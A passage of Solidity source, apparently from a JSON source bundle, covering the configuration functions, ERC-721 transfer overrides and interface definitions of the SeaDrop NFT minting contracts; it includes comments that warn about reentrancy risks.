dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the token gated drop stage.\n ISeaDrop(seaDropImpl).updateTokenGatedDrop(allowedNftToken, dropStage);\n }\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external\n virtual\n override\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the drop URI.\n ISeaDrop(seaDropImpl).updateDropURI(dropURI);\n }\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the creator payout address.\n ISeaDrop(seaDropImpl).updateCreatorPayoutAddress(payoutAddress);\n }\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n * Only the owner can set the allowed fee recipient.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external virtual {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allowed fee recipient.\n ISeaDrop(seaDropImpl).updateAllowedFeeRecipient(feeRecipient, allowed);\n }\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters to\n * enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the signer.\n ISeaDrop(seaDropImpl).updateSignedMintValidationParams(\n signer,\n signedMintValidationParams\n );\n }\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the payer.\n ISeaDrop(seaDropImpl).updatePayer(payer, allowed);\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n override\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n )\n {\n minterNumMinted = _numberMinted(minter);\n currentTotalSupply = _totalMinted();\n maxSupply = _maxSupply;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(INonFungibleSeaDropToken).interfaceId ||\n interfaceId == type(ISeaDropTokenContractMetadata).interfaceId ||\n // ERC721ContractMetadata returns supportsInterface true for\n // EIP-2981\n // ERC721A returns supportsInterface true for\n // ERC165, ERC721, ERC721Metadata\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n * - The `operator` must be allowed.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved)\n public\n override\n onlyAllowedOperatorApproval(operator)\n {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n * - The `operator` mut be allowed.\n *\n * Emits an {Approval} event.\n */\n function approve(address operator, uint256 tokenId)\n public\n override\n onlyAllowedOperatorApproval(operator)\n {\n super.approve(operator, tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - The operator must be allowed.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n * - The operator must be allowed.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n /**\n * @notice Configure multiple properties at a time.\n *\n * Note: The individual configure methods should be used\n * to unset or reset any properties to zero, as this method\n * will ignore zero-value properties in the config struct.\n *\n * @param config The configuration struct.\n */\n function multiConfigure(MultiConfigureStruct calldata config)\n external\n onlyOwner\n {\n if (config.maxSupply > 0) {\n this.setMaxSupply(config.maxSupply);\n }\n if (bytes(config.baseURI).length != 0) {\n this.setBaseURI(config.baseURI);\n }\n if (bytes(config.contractURI).length != 0) {\n this.setContractURI(config.contractURI);\n }\n if (\n _cast(config.publicDrop.startTime != 0) |\n _cast(config.publicDrop.endTime != 0) ==\n 1\n ) {\n this.updatePublicDrop(config.seaDropImpl, config.publicDrop);\n }\n if (bytes(config.dropURI).length != 0) {\n this.updateDropURI(config.seaDropImpl, config.dropURI);\n }\n if (config.allowListData.merkleRoot != bytes32(0)) {\n this.updateAllowList(config.seaDropImpl, config.allowListData);\n }\n if (config.creatorPayoutAddress != address(0)) {\n this.updateCreatorPayoutAddress(\n config.seaDropImpl,\n config.creatorPayoutAddress\n );\n }\n if (config.provenanceHash != bytes32(0)) {\n this.setProvenanceHash(config.provenanceHash);\n }\n if (config.allowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.allowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.allowedFeeRecipients[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.disallowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.disallowedFeeRecipients[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.allowedPayers.length > 0) {\n for (uint256 i = 0; i < config.allowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.allowedPayers[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedPayers.length > 0) {\n for (uint256 i = 0; i < config.disallowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.disallowedPayers[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.tokenGatedDropStages.length > 0) {\n if (\n config.tokenGatedDropStages.length !=\n config.tokenGatedAllowedNftTokens.length\n ) {\n revert TokenGatedMismatch();\n }\n for (uint256 i = 0; i < config.tokenGatedDropStages.length; ) {\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.tokenGatedAllowedNftTokens[i],\n config.tokenGatedDropStages[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedTokenGatedAllowedNftTokens.length > 0) {\n for (\n uint256 i = 0;\n i < config.disallowedTokenGatedAllowedNftTokens.length;\n\n ) {\n TokenGatedDropStage memory emptyStage;\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.disallowedTokenGatedAllowedNftTokens[i],\n emptyStage\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.signedMintValidationParams.length > 0) {\n if (\n config.signedMintValidationParams.length !=\n config.signers.length\n ) {\n revert SignersMismatch();\n }\n for (\n uint256 i = 0;\n i < config.signedMintValidationParams.length;\n\n ) {\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.signers[i],\n config.signedMintValidationParams[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedSigners.length > 0) {\n for (uint256 i = 0; i < config.disallowedSigners.length; ) {\n SignedMintValidationParams memory emptyParams;\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.disallowedSigners[i],\n emptyParams\n );\n unchecked {\n ++i;\n }\n }\n }\n }\n}\n"
},
"src/interfaces/INonFungibleSeaDropToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\ninterface INonFungibleSeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @dev Revert with an error if a contract is not an allowed\n * SeaDrop address.\n */\n error OnlyAllowedSeaDrop();\n\n /**\n * @dev Emit an event when allowed SeaDrop contracts are updated.\n */\n event AllowedSeaDropUpdated(address[] allowedSeaDrop);\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner or administrator can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop) external;\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity) external;\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n );\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * The administrator can only update `feeBps`.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external;\n\n /**\n * @notice Update the allow list data for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external;\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * The administrator, when present, must first set `feeBps`.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external;\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external;\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n * Only the administrator can set the allowed fee recipient.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external;\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external;\n}\n"
},
"src/interfaces/ISeaDrop.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n MintParams,\n PublicDrop,\n TokenGatedDropStage,\n TokenGatedMintParams,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"../lib/SeaDropErrorsAndEvents.sol\";\n\ninterface ISeaDrop is SeaDropErrorsAndEvents {\n /**\n * @notice Mint a public drop.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n */\n function mintPublic(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity\n ) external payable;\n\n /**\n * @notice Mint from an allow list.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param proof The proof for the leaf of the allow list.\n */\n function mintAllowList(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n bytes32[] calldata proof\n ) external payable;\n\n /**\n * @notice Mint with a server-side signature.\n * Note that a signature can only be used once.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param salt The sale for the signed mint.\n * @param signature The server-side signature, must be an allowed\n * signer.\n */\n function mintSigned(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n uint256 salt,\n bytes calldata signature\n ) external payable;\n\n /**\n * @notice Mint as an allowed token holder.\n * This will mark the token id as redeemed and will revert if the\n * same token id is attempted to be redeemed twice.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param mintParams The token gated mint params.\n */\n function mintAllowedTokenHolder(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n TokenGatedMintParams calldata mintParams\n ) external payable;\n\n /**\n * @notice Emits an event to notify update of the drop URI.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Updates the public drop data for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(PublicDrop calldata publicDrop) external;\n\n /**\n * @notice Updates the allow list merkle root for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param allowListData The allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Updates the token gated drop stage for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during\n * the `dropStage` time period.\n *\n * @param allowedNftToken The token gated nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Updates the creator payout address and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payoutAddress The creator payout address.\n */\n function updateCreatorPayoutAddress(address payoutAddress) external;\n\n /**\n * @notice Updates the allowed fee recipient and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param feeRecipient The fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(address feeRecipient, bool allowed)\n external;\n\n /**\n * @notice Updates the allowed server-side signers and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address signer,\n SignedMintValidationParams calldata signedMintValidationParams\n ) external;\n\n /**\n * @notice Updates the allowed payer and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payer The payer to add or remove.\n * @param allowed Whether to add or remove the payer.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Returns the public drop data for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPublicDrop(address nftContract)\n external\n view\n returns (PublicDrop memory);\n\n /**\n * @notice Returns the creator payout address for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getCreatorPayoutAddress(address nftContract)\n external\n view\n returns (address);\n\n /**\n * @notice Returns the allow list merkle root for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getAllowListMerkleRoot(address nftContract)\n external\n view\n returns (bytes32);\n\n /**\n * @notice Returns if the specified fee recipient is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param feeRecipient The fee recipient.\n */\n function getFeeRecipientIsAllowed(address nftContract, address feeRecipient)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns an enumeration of allowed fee recipients for an\n * nft contract when fee recipients are enforced\n *\n * @param nftContract The nft contract.\n */\n function getAllowedFeeRecipients(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the server-side signers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getSigners(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the struct of SignedMintValidationParams for a signer.\n *\n * @param nftContract The nft contract.\n * @param signer The signer.\n */\n function getSignedMintValidationParams(address nftContract, address signer)\n external\n view\n returns (SignedMintValidationParams memory);\n\n /**\n * @notice Returns the payers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPayers(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns if the specified payer is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param payer The payer.\n */\n function getPayerIsAllowed(address nftContract, address payer)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns the allowed token gated drop tokens for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getTokenGatedAllowedTokens(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the token gated drop data for the nft contract\n * and token gated nft.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n */\n function getTokenGatedDrop(address nftContract, address allowedNftToken)\n external\n view\n returns (TokenGatedDropStage memory);\n\n /**\n * @notice Returns whether the token id for a token gated drop has been\n * redeemed.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n * @param allowedNftTokenId The token gated nft token id to check.\n */\n function getAllowedNftTokenIdIsRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n ) external view returns (bool);\n}\n"
},
"src/interfaces/ISeaDropTokenContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\ninterface ISeaDropTokenContractMetadata is IERC2981 {\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables in ERC721A.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert if the royalty basis points is greater than 10_000.\n */\n error InvalidRoyaltyBasisPoints(uint256 basisPoints);\n\n /**\n * @dev Revert if the royalty address is being set to the zero address.\n */\n error RoyaltyAddressCannotBeZeroAddress();\n\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event when the max token supply is updated.\n */\n event MaxSupplyUpdated(uint256 newMaxSupply);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the royalties info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 bps);\n\n /**\n * @notice A struct defining royalty info for the contract.\n */\n struct RoyaltyInfo {\n address royaltyAddress;\n uint96 royaltyBps;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the max supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() external view returns (uint256);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address);\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256);\n}\n"
},
"src/lib/ERC721SeaDropStructsErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n PublicDrop,\n SignedMintValidationParams,\n TokenGatedDropStage\n} from \"./SeaDropStructs.sol\";\n\ninterface ERC721SeaDropStructsErrorsAndEvents {\n /**\n * @notice Revert with an error if mint exceeds the max supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Revert with an error if the number of token gated \n * allowedNftTokens doesn't match the length of supplied\n * drop stages.\n */\n error TokenGatedMismatch();\n\n /**\n * @notice Revert with an error if the number of signers doesn't match\n * the length of supplied signedMintValidationParams\n */\n error SignersMismatch();\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed();\n\n /**\n * @notice A struct to configure multiple contract options at a time.\n */\n struct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n address seaDropImpl;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n address creatorPayoutAddress;\n bytes32 provenanceHash;\n\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n\n address[] allowedPayers;\n address[] disallowedPayers;\n\n // Token-gated\n address[] tokenGatedAllowedNftTokens;\n TokenGatedDropStage[] tokenGatedDropStages;\n address[] disallowedTokenGatedAllowedNftTokens;\n\n // Server-signed\n address[] signers;\n SignedMintValidationParams[] signedMintValidationParams;\n address[] disallowedSigners;\n }\n}"
},
"src/lib/SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { PublicDrop, TokenGatedDropStage, SignedMintValidationParams } from \"./SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity is zero.\n */\n error MintQuantityCannotBeZero();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total, \n uint256 maxTokenSupplyForStage\n );\n \n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error 